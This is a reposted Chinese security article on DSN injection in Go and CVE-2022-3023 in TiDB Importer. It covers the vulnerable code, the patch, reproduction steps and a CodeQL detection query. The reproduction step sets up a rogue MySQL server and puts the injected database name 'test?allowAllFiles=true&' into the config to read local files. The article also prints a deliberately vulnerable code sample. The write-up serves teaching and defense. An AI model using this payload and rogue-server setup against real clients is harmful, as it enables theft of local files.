DSN Injection(CVE-2022-3023)

本文是i春秋论坛签约作家「fatmo」分享的技术文章,所涉及的内容仅限用于学习和研究目的,不得将正文内容用于商业或者非法用途公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

DSN Injection(CVE-2022-3023)

fatmo


2年网络安全行业的从业经验,目前做安全开发的工作,擅长恶意代码分析,能熟练地排查各种恶意软件,找出潜在的安全威胁,保障系统程序的稳定运行。

该文章首发在i春秋论坛,欢迎各位师傅完成专业爱好者认证,可第一时间获取最新技术资讯和实战技能分享

DSN Injection(CVE-2022-3023)

(识别二维码,快速完成认证)


DSN


DSN通常指数据源名称(Data Source Name),它被用于存储数据库连接信息,如数据库服务器的地址、数据库名、用户名以及密码等,以便软件能够利用这些信息连接到数据库。

DNS Injection


DSN注入(DSN Injection)指测试者通过向Web应用程序或其他软件的数据源名称(DSN)输入不安全的数据,试图影响程序对数据库的连接和查询。由于DSN包含了用于访问数据库的凭证和路径信息,通过注入可以让测试者绕过身份验证,窃取数据,甚至可能对数据库执行非法操作。

代码示例



问题代码


func bad() interface{} {
    name := os.Args[1:]
    // This is bad. `name` can be something like `test?allowAllFiles=true&` which will allow an attacker to access local files.
    dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name)
    db, _ := sql.Open("mysql", dbDSN)
    return db
}
代码的功能是创建数据库(DSN)连接字符串,并尝试利用这个字符串打开MySQL数据库的连接。不过,代码实现中存在安全隐患,可能导致DSN注入:
1.从命令行参数获取数据库名name。
2.name没有进行任何的验证和清理。
3.使用name构建dbDSN字符串,连接数据库时可能会执行包含在name中的额外参数。
4.其中的注释指出,如果输入的name包含如test?allowAllFiles=true& 的内容,可能使测试者访问本地文件。

正确代码


func good() (interface{}, error) {
    name := os.Args[1]
    hasBadChar, _ := regexp.MatchString(".*[?].*", name)

    if hasBadChar {
        return nil, errors.New("Bad input")
    }

    dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name)
    db, _ := sql.Open("mysql", dbDSN)
    return db, nil
}
这段代码试图改进之前版本的函数,目的是创建和打开一个安全的MySQL数据库连接:
1.从命令行参数获取数据库名name。
2.使用正则表达式检查name是否含有问号?;如果含有,可能是不安全或恶意输入,此时函数返回nil和一个错误。
3.如果输入通过验证,使用name构建DSN连接字符串dbDSN。
4.尝试使用dbDSN通过sql.Open打开数据库连接。
5.返回数据库连接db或者nil,以及一个对应的错误error。

CVE-2022-3023



漏洞描述


TiDB服务器(importer命令行工具)在6.4.0版本之前和6.1.3版本之前存在DSN注入漏洞。用于生成和插入数据库数据的数据库名称没经过任何清理就并入DSN中,导致任意文件读取。

TiDB Importer


TiDB Importer是一个用于快速导入大量数据到TiDB数据库的工具。它通常与TiDB Lightning 配合使用,其中TiDB Lightning负责将数据转换为TiKV可以理解的格式,而TiDB Importer则将这些数据实际导入到TiKV集群中。

漏洞分析


漏洞修复的补丁在这里:

https://github.com/pingcap/tidb/commit/d0376379d615cc8f263a0b17c031ce403c8dcbfb
看看主要修改的内容:

DSN Injection(CVE-2022-3023)

原来会使用fmt.Sprintf的方式拼接dsn:
dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", cfg.User, cfg.Password, cfg.Host, cfg.Port, cfg.Name)
db, err := sql.Open("mysql", dbDSN)
1.而cfg.Name表示直接从配置文件中读取database name,没有经过任何清理;
2.现在已经改成了使用cfg配置登录的模式,类似预编译:
driverCfg := mysql2.NewConfig()
driverCfg.User = cfg.User
driverCfg.Passwd = cfg.Password
driverCfg.Net = "tcp"
driverCfg.Addr = cfg.Host + ":" + strconv.Itoa(cfg.Port)
driverCfg.DBName = cfg.Name

c, err := mysql2.NewConnector(driverCfg)

漏洞复现


首先拉取tidb的源码:
git clone https://github.com/pingcap/tidb.git
切换到有漏洞的版本:
git checkout tags/v6.1.2
构建importer
cd tidb/cmd/importer
go build .
配置Rogue MySQL服务器,启动服务:
wget -q https://github.com/allyshka/Rogue-MySql-Server/raw/master/roguemysql.php
# 运行 Rogue-MySql-Server 脚本
php roguemysql.php /path/to/target/file

DSN Injection(CVE-2022-3023)

修改config.toml文件:
[db]
host = "127.0.0.1"
user = "root"
password = ""
name = "test?allowAllFiles=true&"
port = 3306
执行importer, 可以看到已经读取了客户端文件,并回显了文件内容:
./importer -config config.toml

DSN Injection(CVE-2022-3023)

CodeQL查询分析



污点分析模型构建


定义Source抽象类:
abstract class Source extends DataFlow::Node { }
定义了一个名为DsnInjectionConfig的私有模块,它实现了DataFlow::ConfigSig接口。DataFlow::ConfigSig是CodeQL中用于配置数据流分析的接口:
private module DsnInjectionConfig implements DataFlow::ConfigSig {
  predicate isSource(DataFlow::Node source) { source instanceof Source }

  predicate isSink(DataFlow::Node sink) {
    exists(DataFlow::CallNode c |
      c.getTarget().hasQualifiedName("database/sql", "Open") and
      c.getArgument(0).getStringValue() = "mysql"
    |
      sink = c.getArgument(1)
    )
  }

  predicate isBarrier(DataFlow::Node node) { node instanceof RegexpCheckBarrier }
}
DsnInjectionConfig指定数据流分析的三个主要组件:源(source),汇(sink)和阻断点(barrier)。其中source为:
predicate isSource(DataFlow::Node source) { source instanceof Source }
这个谓词定义的那些节点应当被视为污染源。在这里,任何Source类型的 DataFlow::Node都被当做是污染源。
sink为:
  predicate isSink(DataFlow::Node sink) {
    exists(DataFlow::CallNode c |
      c.getTarget().hasQualifiedName("database/sql", "Open") and
      c.getArgument(0).getStringValue() = "mysql"
    |
      sink = c.getArgument(1)
    )
  }
首先,查询中存在一个DataFlow::CallNode c,即一个函数或方法调用的数据流节点。
这个节点c调用的目标函数或方法拥有具体的限定名称”database/sql”, “Open”,指的是Go标准库中用于打开数据库连接的Open函数。
查询检查这个Open函数调用的第一个实际参数(索引为0)的字符串值是否等于”mysql”,确认是否正准备打开一个MySQL数据库的连接。
如果上述条件均满足,那么此Open调用的第二个实际参数(索引为1)即为DSN字符串,被认为是一个污染汇,因为在构造DSN时可能会被注入恶意内容。
barrier为:
predicate isBarrier(DataFlow::Node node) { node instanceof RegexpCheckBarrier

查询代码


看看实际的查询代码:
import go
import DsnInjectionCustomizations
import DsnInjectionFlow::PathGraph

/** An untrusted flow source taken as a source for the `DsnInjection` taint-flow configuration. */
private class UntrustedFlowAsSource extends Source instanceof UntrustedFlowSource { }

from DsnInjectionFlow::PathNode source, DsnInjectionFlow::PathNode sink
where DsnInjectionFlow::flowPath(source, sink)
select sink.getNode(), source, sink, "Data-Source Name is built using $@.", source.getNode(),
  "untrusted user input"
可以详细解读一下这段查询语句,分成三部分:
from子句:
from DsnInjectionFlow::PathNode source, DsnInjectionFlow::PathNode sink
这定义了查询的起点和终点。
source和sink是DsnInjectionFlow::PathNode的实例,分别表示污点传播路径的源头和终点。
where子句:
where DsnInjectionFlow::flowPath(source, sink)
这里过滤出了实际存在污点传播的路径。
DsnInjectionFlow::flowPath是一个谓词,当数据流从source节点成功到达sink节点时,这个谓词返回真。
select子句:
select sink.getNode(), source, sink, "Data-Source Name is built using $@.", source.getNode(), "untrusted user input"
sink.getNode()返回数据污染的终节点,通常是一个表达式或者调用节点。
source和sink分别返回表示传播路径起点和终点的PathNode。在CodeQL中,PathNode代表数据流路径中的节点。
“Data-Source Name is built using $@.”是一段输出信息,用于在找到问题时告知用户。$@是一个占位符,它会被随后的参数替换。
source.getNode()是$@的替换内容,表示污点源的节点。
“untrusted user input”是source.getNode()的标签描述,通知用户该节点是不可信的用户输入。

总 结


本文描述了一种通过不当处理用户输入数据以及生成数据库DSN字符串的方法,从而导致恶意测试者能够执行任意文件读取。
在TiDB Importer的6.4.0版本之前和6.1.3版本之前,允许用户通过构造特定的数据库名实现dsn注入,当TiDB Importer连接到受控的MySQL服务器,将存在文件泄露的风险。
理解并避免DSN注入对于维护Web应用程序和数据库安全十分重要,需要开发人员在编程时始终注意输入验证和清理,或者使用更安全的连接方案。
以上是我今天的分享内容,对安全技术感兴趣的小伙伴及时关注后续公众号推文,学习过程中难免会遇到疑问,推荐加入i春秋的学习交流群~
DSN Injection(CVE-2022-3023)

DSN Injection(CVE-2022-3023)

(联系管理员,申请入群)

在这里,您不仅能学习到前沿的技术知识,还能结识一群志同道合、热爱技术分享的学习伙伴。群管理员不定期举办各种形式的福利活动,邀请行业大咖和知识达人分享他们的宝贵经验,您还能获得丰富的人脉资源和学习资料。我们期待您的加入,一起成长、共同进步!

DSN Injection(CVE-2022-3023)

原文始发于微信公众号(i春秋):DSN Injection(CVE-2022-3023)

版权声明:admin 发表于 2024年3月27日 下午5:02。
转载请注明:DSN Injection(CVE-2022-3023) | CTF导航

相关文章